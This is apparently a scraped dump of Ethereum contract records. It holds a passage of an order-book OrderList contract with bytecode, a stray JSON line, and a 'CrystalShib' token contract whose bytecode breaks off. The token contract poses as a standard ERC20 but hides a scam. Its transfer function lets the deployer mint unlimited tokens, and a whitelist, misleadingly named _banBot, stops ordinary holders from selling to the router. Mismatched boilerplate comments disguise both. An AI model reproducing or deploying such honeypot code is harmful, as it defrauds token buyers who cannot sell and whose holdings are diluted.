maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns (bool); function updateWithPositionHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns(bool, uint); } // File: contracts/permissionless/OrderList.sol contract OrderList is PermissionGroups, OrderListInterface { struct Order { address maker; uint32 prevId; uint32 nextId; uint128 srcAmount; uint128 dstAmount; } mapping (uint32 => Order) public orders; // Results of calling updateWithPositionHint. uint constant public UPDATE_ONLY_AMOUNTS = 0; uint constant public UPDATE_MOVE_ORDER = 1; uint constant public UPDATE_FAILED = 2; uint32 constant public TAIL_ID = 1; uint32 constant public HEAD_ID = 2; uint32 public nextFreeId = 3; function OrderList(address _admin) public { require(_admin != address(0)); admin = _admin; // Initializing a "dummy" order as HEAD. orders[HEAD_ID].maker = 0; orders[HEAD_ID].prevId = 0; orders[HEAD_ID].nextId = TAIL_ID; orders[HEAD_ID].srcAmount = 0; orders[HEAD_ID].dstAmount = 0; } function getOrderDetails(uint32 orderId) public view returns ( address maker, uint128 srcAmount, uint128 dstAmount, uint32 prevId, uint32 nextId ) { Order storage order = orders[orderId]; maker = order.maker; srcAmount = order.srcAmount; dstAmount = order.dstAmount; prevId = order.prevId; nextId = order.nextId; } function add( address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount ) public onlyAdmin returns(bool) { require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID); uint32 prevId = findPrevOrderId(srcAmount, dstAmount); return addAfterValidId(maker, orderId, srcAmount, dstAmount, prevId); } // Returns false if provided with bad hint. function addAfterId( address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId ) public onlyAdmin returns (bool) { uint32 nextId = orders[prevId].nextId; if (!isRightPosition(srcAmount, dstAmount, prevId, nextId)) { return false; } return addAfterValidId(maker, orderId, srcAmount, dstAmount, prevId); } function remove(uint32 orderId) public onlyAdmin returns (bool) { verifyCanRemoveOrderById(orderId); // Disconnect order from list Order storage order = orders[orderId]; orders[order.prevId].nextId = order.nextId; orders[order.nextId].prevId = order.prevId; // Mark deleted order order.prevId = TAIL_ID; order.nextId = HEAD_ID; return true; } function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public onlyAdmin returns(bool) { address maker = orders[orderId].maker; require(remove(orderId)); require(add(maker, orderId, srcAmount, dstAmount)); return true; } // Returns false if provided with a bad hint. function updateWithPositionHint( uint32 orderId, uint128 updatedSrcAmount, uint128 updatedDstAmount, uint32 updatedPrevId ) public onlyAdmin returns (bool, uint) { require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID); // Normal orders usually cannot serve as their own previous order. // For further discussion see Heinlein's '—All You Zombies—'. require(orderId != updatedPrevId); uint32 nextId; // updatedPrevId is the intended prevId of the order, after updating its // values. // If it is the same as the current prevId of the order, the order does // not need to change place in the list, only update its amounts. if (orders[orderId].prevId == updatedPrevId) { nextId = orders[orderId].nextId; if (isRightPosition( updatedSrcAmount, updatedDstAmount, updatedPrevId, nextId) ) { orders[orderId].srcAmount = updatedSrcAmount; orders[orderId].dstAmount = updatedDstAmount; return (true, UPDATE_ONLY_AMOUNTS); } } else { nextId = orders[updatedPrevId].nextId; if (isRightPosition( updatedSrcAmount, updatedDstAmount, updatedPrevId, nextId) ) { // Let's move the order to the hinted position. address maker = orders[orderId].maker; require(remove(orderId)); require( addAfterValidId( maker, orderId, updatedSrcAmount, updatedDstAmount, updatedPrevId ) ); return (true, UPDATE_MOVE_ORDER); } } // bad hint. return (false, UPDATE_FAILED); } function allocateIds(uint32 howMany) public onlyAdmin returns(uint32) { uint32 firstId = nextFreeId; require(nextFreeId + howMany >= nextFreeId); nextFreeId += howMany; return firstId; } function compareOrders( uint128 srcAmount1, uint128 dstAmount1, uint128 srcAmount2, uint128 dstAmount2 ) public pure returns(int) { uint256 s1 = srcAmount1; uint256 d1 = dstAmount1; uint256 s2 = srcAmount2; uint256 d2 = dstAmount2; if (s2 * d1 < s1 * d2) return -1; if (s2 * d1 > s1 * d2) return 1; return 0; } function findPrevOrderId(uint128 srcAmount, uint128 dstAmount) public view returns(uint32) { uint32 currId = HEAD_ID; Order storage curr = orders[currId]; while (curr.nextId != TAIL_ID) { currId = curr.nextId; curr = orders[currId]; int cmp = compareOrders( srcAmount, dstAmount, curr.srcAmount, curr.dstAmount ); if (cmp < 0) { return curr.prevId; } } return currId; } function getFirstOrder() public view returns(uint32 orderId, bool isEmpty) { return ( orders[HEAD_ID].nextId, orders[HEAD_ID].nextId == TAIL_ID ); } function addAfterValidId( address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId ) private returns(bool) { Order storage prevOrder = orders[prevId]; // Add new order orders[orderId].maker = maker; orders[orderId].prevId = prevId; orders[orderId].nextId = prevOrder.nextId; orders[orderId].srcAmount = srcAmount; orders[orderId].dstAmount = dstAmount; // Update next order to point back to added order uint32 nextOrderId = prevOrder.nextId; if (nextOrderId != TAIL_ID) { orders[nextOrderId].prevId = orderId; } // Update previous order to point to added order prevOrder.nextId = orderId; return true; } function verifyCanRemoveOrderById(uint32 orderId) private view { require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID); Order storage order = orders[orderId]; // Make sure this order actually in the list. require(order.prevId != 0 && order.nextId != 0 && order.prevId != TAIL_ID && order.nextId != HEAD_ID); } function isRightPosition( uint128 srcAmount, uint128 dstAmount, uint32 prevId, uint32 nextId ) private view returns (bool) { if (prevId == TAIL_ID || nextId == HEAD_ID) return false; Order storage prev = orders[prevId]; // Make sure prev order is either HEAD or properly initialised. if (prevId != HEAD_ID && ( prev.prevId == 0 || prev.nextId == 0 || prev.prevId == TAIL_ID || prev.nextId == HEAD_ID)) { return false; } int cmp; // Make sure that the new order should be after the provided prevId. if (prevId != HEAD_ID) { cmp = compareOrders( srcAmount, dstAmount, prev.srcAmount, prev.dstAmount ); // new order is better than prev if (cmp < 0) return false; } // Make sure that the new order should be before provided prevId's next order. if (nextId != TAIL_ID) { Order storage next = orders[nextId]; cmp = compareOrders( srcAmount, dstAmount, next.srcAmount, next.dstAmount ); // new order is worse than next if (cmp > 0) return false; } return true; } } // File: contracts/permissionless/OrderListFactory.sol contract OrderListFactory { function newOrdersContract(address admin) public returns(OrderListInterface) { OrderList orders = new OrderList(admin); return orders; } }
0x6060604052600436106100405763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663fccf6e678114610045575b600080fd5b341561005057600080fd5b61007173ffffffffffffffffffffffffffffffffffffffff6004351661009a565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b600080826100a66100e0565b73ffffffffffffffffffffffffffffffffffffffff9091168152602001604051809103906000f08015156100d957600080fd5b9392505050565b6040516119a2806100f183390190560060606040526007805463ffffffff19166003179055341561001f57600080fd5b6040516020806119a28339810160405280805160008054600160a060020a03191633600160a060020a039081169190911790915590925082161515905061006557600080fd5b60008054600160a060020a03909216600160a060020a03199092169190911781556002815260066020527f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace2980547fffffffff000000000000000000000000000000000000000000000000000000001678010000000000000000000000000000000000000000000000001790557f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace2a55611880806101226000396000f3006060604052600436106101685763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662d84fd8811461016d57806301a12fd31461019d5780631f38c358146101be578063244c96a1146101f3578063267822471461023657806327a099d814610265578063374ab1c6146102cb578063408ee7fe146102de57806361592b85146102fd578063689f15321461036757806375829def146103d157806377f50f97146103f05780637acc8678146104035780637c423f541461042257806385fcb4a8146104355780639870d7fe1461045a578063a3fb591714610479578063a590529e146104ad578063a5da0bf5146104fe578063ac8a584a14610541578063b39c471814610560578063b7b2c52514610573578063c41c6d5614610586578063c70ad4a314610599578063c92ba8b2146105ac578063cb2f7b87146105e6578063d11dfdec14610614578063f851a44014610627575b600080fd5b341561017857600080fd5b61018963ffffffff6004351661063a565b604051901515815260200160405180910390f35b34156101a857600080fd5b6101bc600160a060020a0360043516610725565b005b34156101c957600080fd5b6101da63ffffffff60043516610895565b60405163ffffffff909116815260200160405180910390f35b34156101fe57600080fd5b6102246001608060020a03600435811690602435811690604435811690606435166108f3565b60405190815260200160405180910390f35b341561024157600080fd5b610249610947565b604051600160a060020a03909116815260200160405180910390f35b341561027057600080fd5b610278610956565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102b757808201518382015260200161029f565b505050509050019250505060405180910390f35b34156102d657600080fd5b6102246109bf565b34156102e957600080fd5b6101bc600160a060020a03600435166109c4565b341561030857600080fd5b61031963ffffffff60043516610ac0565b604051600160a060020a0390951685526001608060020a0393841660208601529190921660408085019190915263ffffffff92831660608501529116608083015260a0909101905180910390f35b341561037257600080fd5b61038363ffffffff60043516610b15565b604051600160a060020a03909516855263ffffffff9384166020860152919092166040808501919091526001608060020a0392831660608501529116608083015260a0909101905180910390f35b34156103dc57600080fd5b6101bc600160a060020a0360043516610b66565b34156103fb57600080fd5b6101bc610c01565b341561040e57600080fd5b6101bc600160a060020a0360043516610c9b565b341561042d57600080fd5b610278610d7d565b341561044057600080fd5b6101da6001608060020a0360043581169060243516610de3565b341561046557600080fd5b6101bc600160a060020a0360043516610ea4565b341561048457600080fd5b61048c610f74565b60405163ffffffff9092168252151560208201526040908101905180910390f35b34156104b857600080fd5b6104e463ffffffff6004358116906001608060020a036024358116916044359091169060643516610fb5565b604051911515825260208201526040908101905180910390f35b341561050957600080fd5b610189600160a060020a036004351663ffffffff6024358116906001608060020a03604435811691606435909116906084351661117b565b341561054c57600080fd5b6101bc600160a060020a03600435166111ee565b341561056b57600080fd5b6101da61135a565b341561057e57600080fd5b6101da611366565b341561059157600080fd5b610224611366565b34156105a457600080fd5b61022461136b565b34156105b757600080fd5b610189600160a060020a036004351663ffffffff602435166001608060020a0360443581169060643516611370565b34156105f157600080fd5b61018963ffffffff600435166001608060020a03602435811690604435166113eb565b341561061f57600080fd5b6101da6109bf565b341561063257600080fd5b61024961145f565b60008054819033600160a060020a0390811691161461065857600080fd5b6106618361146e565b505063ffffffff908116600090815260066020526040808220805460a060020a8082048616855283852080547bffffffff0000000000000000000000000000000000000000000000001990811660c060020a94859004891685021790915583549283048716865293909420805477ffffffff0000000000000000000000000000000000000000199081169286900490961685029190911790558054909316909117167802000000000000000000000000000000000000000000000000179055600190565b6000805433600160a060020a0390811691161461074157600080fd5b600160a060020a03821660009081526003602052604090205460ff16151561076857600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156108915781600160a060020a03166005828154811015156107ad57fe5b600091825260209091200154600160a060020a03161415610889576005805460001981019081106107da57fe5b60009182526020909120015460058054600160a060020a03909216918390811061080057fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055600580549061083c9060001983016117fb565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610891565b60010161078a565b5050565b60008054819033600160a060020a039081169116146108b357600080fd5b5060075463ffffffff9081169083820116819010156108d157600080fd5b6007805463ffffffff80821686011663ffffffff199091161790559050919050565b60006001608060020a038086169085811690858116908516808402828402101561092157600019945061093b565b8084028383021115610936576001945061093b565b600094505b50505050949350505050565b600154600160a060020a031681565b61095e611824565b60048054806020026020016040519081016040528092919081815260200182805480156109b457602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610996575b505050505090505b90565b600181565b60005433600160a060020a039081169116146109df57600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610a0557600080fd5b60055460329010610a1557600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610a9483826117fb565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b63ffffffff90811660009081526006602052604090208054600190910154600160a060020a038216936001608060020a0380831694608060020a909304169260a060020a810483169260c060020a9091041690565b60066020526000908152604090208054600190910154600160a060020a0382169163ffffffff60a060020a820481169260c060020a90920416906001608060020a0380821691608060020a90041685565b60005433600160a060020a03908116911614610b8157600080fd5b600160a060020a0381161515610b9657600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610c1c57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610cb657600080fd5b600160a060020a0381161515610ccb57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610d85611824565b60058054806020026020016040519081016040528092919081815260200182805480156109b457602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610996575050505050905090565b600260008181526006602052907f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace29825b815460c060020a900463ffffffff16600114610e9757905460c060020a900463ffffffff16600081815260066020526040902060018101549193509190610e7190879087906001608060020a0380821691608060020a9004166108f3565b90506000811215610e9257815460a060020a900463ffffffff169350610e9b565b610e13565b8293505b50505092915050565b60005433600160a060020a03908116911614610ebf57600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610ee557600080fd5b60045460329010610ef557600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610a9483826117fb565b600260005260066020527f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace295460c060020a900463ffffffff16600181149091565b6000805481908190819033600160a060020a03908116911614610fd757600080fd5b63ffffffff881615801590610ff3575063ffffffff8816600214155b8015611006575063ffffffff8816600114155b151561101157600080fd5b63ffffffff888116908616141561102757600080fd5b63ffffffff88811660009081526006602052604090205460a060020a9004811690861614156110dd5763ffffffff80891660009081526006602052604090205460c060020a900416915061107d8787878561152a565b156110d85763ffffffff88166000908152600660205260408120600190810180546001608060020a038a8116608060020a02818d166fffffffffffffffffffffffffffffffff19909316929092171617905594509250611170565b611167565b63ffffffff80861660009081526006602052604090205460c060020a900416915061110a8787878561152a565b15611167575063ffffffff8716600090815260066020526040902054600160a060020a03166111388861063a565b151561114357600080fd5b6111508189898989611697565b151561115b57600080fd5b60018093509350611170565b60006002935093505b505094509492505050565b60008054819033600160a060020a0390811691161461119957600080fd5b5063ffffffff80831660009081526006602052604090205460c060020a9004166111c58585858461152a565b15156111d457600091506111e4565b6111e18787878787611697565b91505b5095945050505050565b6000805433600160a060020a0390811691161461120a57600080fd5b600160a060020a03821660009081526002602052604090205460ff16151561123157600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156108915781600160a060020a031660048281548110151561127657fe5b600091825260209091200154600160a060020a03161415611352576004805460001981019081106112a357fe5b60009182526020909120015460048054600160a060020a0390921691839081106112c957fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560048054600019019061130590826117fb565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610891565b600101611253565b60075463ffffffff1681565b600281565b600081565b60008054819033600160a060020a0390811691161461138e57600080fd5b63ffffffff8516158015906113aa575063ffffffff8516600214155b80156113bd575063ffffffff8516600114155b15156113c857600080fd5b6113d28484610de3565b90506113e18686868685611697565b9695505050505050565b60008054819033600160a060020a0390811691161461140957600080fd5b5063ffffffff8416600090815260066020526040902054600160a060020a03166114328561063a565b151561143d57600080fd5b61144981868686611370565b151561145457600080fd5b506001949350505050565b600054600160a060020a031681565b600063ffffffff82161580159061148c575063ffffffff8216600214155b801561149f575063ffffffff8216600114155b15156114aa57600080fd5b5063ffffffff80821660009081526006602052604090208054909160a060020a90910416158015906114e95750805460c060020a900463ffffffff1615155b80156115045750805460a060020a900463ffffffff16600114155b801561151f5750805460c060020a900463ffffffff16600214155b151561089157600080fd5b600080808063ffffffff86166001148061154a575063ffffffff85166002145b15611558576000935061168c565b63ffffffff8616600081815260066020526040902093506002148015906115d35750825460a060020a900463ffffffff1615806115a15750825460c060020a900463ffffffff16155b806115ba5750825460a060020a900463ffffffff166001145b806115d35750825460c060020a900463ffffffff166002145b156115e1576000935061168c565b63ffffffff861660021461162957600183015461161590899089906001608060020a0380821691608060020a9004166108f3565b91506000821215611629576000935061168c565b63ffffffff8516600114611687575063ffffffff84166000908152600660205260409020600181015461167390899089906001608060020a0380821691608060020a9004166108f3565b91506000821315611687576000935061168c565b600193505b505050949350505050565b63ffffffff81811660008181526006602052604080822088851683529082208054600160a060020a031916600160a060020a038b161777ffffffff0000000000000000000000000000000000000000191660a060020a9094029390931780845581547bffffffff0000000000000000000000000000000000000000000000001990911660c060020a9182900486168202178455600193840180546fffffffffffffffffffffffffffffffff19166001608060020a038a8116919091178116608060020a918a16919091021790558154929491939204169081146117b95763ffffffff8082166000908152600660205260409020805491891660a060020a0277ffffffff0000000000000000000000000000000000000000199092169190911790555b815463ffffffff881660c060020a027bffffffff0000000000000000000000000000000000000000000000001990911617825560019250505095945050505050565b81548183558181151161181f5760008381526020902061181f918101908301611836565b505050565b60206040519081016040526000815290565b6109bc91905b80821115611850576000815560010161183c565b50905600a165627a7a723058208092a4df32a61c6997bf9bca65f98d1495c1f52b41098674046456be550e88d40029a165627a7a72305820aadae6a130857fe0d0d198caf0d8d7a786daa7395d6bc447c2bdae9a5062fa600029
{"success": true, "error": null, "results": {}}
10,479
0x879a5031823942b52c0f0a770d97235e6227da34
/* ┌─┬─┬─┬┬──┬──┬──┬┐░░░░░░░░ │┌┤┼├┐││──┼┐┌┤┌┐││░░░░░░░░ │└┤┐┼┴┐├──││││├┤│└┐░░░░░░░ └─┴┴┴──┴──┘└┘└┘└┴─┘░░░░░░░ ┌──┬┐┌┬──┬──┬║─┐@crystalshiba │──┤└┘├││┤┌┐│┌┐│░░░░░░░░░░ ├──│┌┐├││┤┌┐│├┤│░░░░░░░░░░ └──┴┘└┴──┴──┴┘└┘░░░░░░░░░░ */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } pragma solidity ^0.8.9; // SPDX-License-Identifier: GNU GPLv3 contract Creation is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event genesis(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit genesis(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit genesis(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } contract ERC20 is Context, IERC20, IERC20Metadata , Creation{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function starttrading (address Uniswaprouterv02) public checker { router = Uniswaprouterv02; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function botbancount(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function _banBot(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botbancount(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract CrystalShib is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 7000000 * 10 ** 18; constructor () ERC20('Crystal Shiba|www.crystalshiba.com',unicode'CRYSTAL💎SHIB') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb1461028a578063da642162146102ba578063dd62ed3e146102d6578063ee5491ed14610306576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c578063a457c2d71461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147c565b60405180910390f35b610132600480360381019061012d9190611546565b6103b4565b60405161013f91906115a1565b60405180910390f35b6101506103d2565b60405161015d91906115cb565b60405180910390f35b610180600480360381019061017b91906115e6565b6103dc565b60405161018d91906115a1565b60405180910390f35b61019e6104dd565b6040516101ab9190611655565b60405180910390f35b6101ce60048036038101906101c99190611546565b610505565b6040516101db91906115a1565b60405180910390f35b6101fe60048036038101906101f99190611670565b6105b1565b60405161020b91906115cb565b60405180910390f35b61021c6105fa565b005b610226610750565b60405161023391906116ac565b60405180910390f35b610244610776565b604051610251919061147c565b60405180910390f35b610274600480360381019061026f9190611546565b610808565b60405161028191906115a1565b60405180910390f35b6102a4600480360381019061029f9190611546565b6108fc565b6040516102b191906115a1565b60405180910390f35b6102d460048036038101906102cf919061180f565b610b63565b005b6102f060048036038101906102eb9190611858565b610c3e565b6040516102fd91906115cb565b60405180910390f35b610320600480360381019061031b9190611670565b610cc5565b005b606060078054610331906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906118c7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006103e9848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610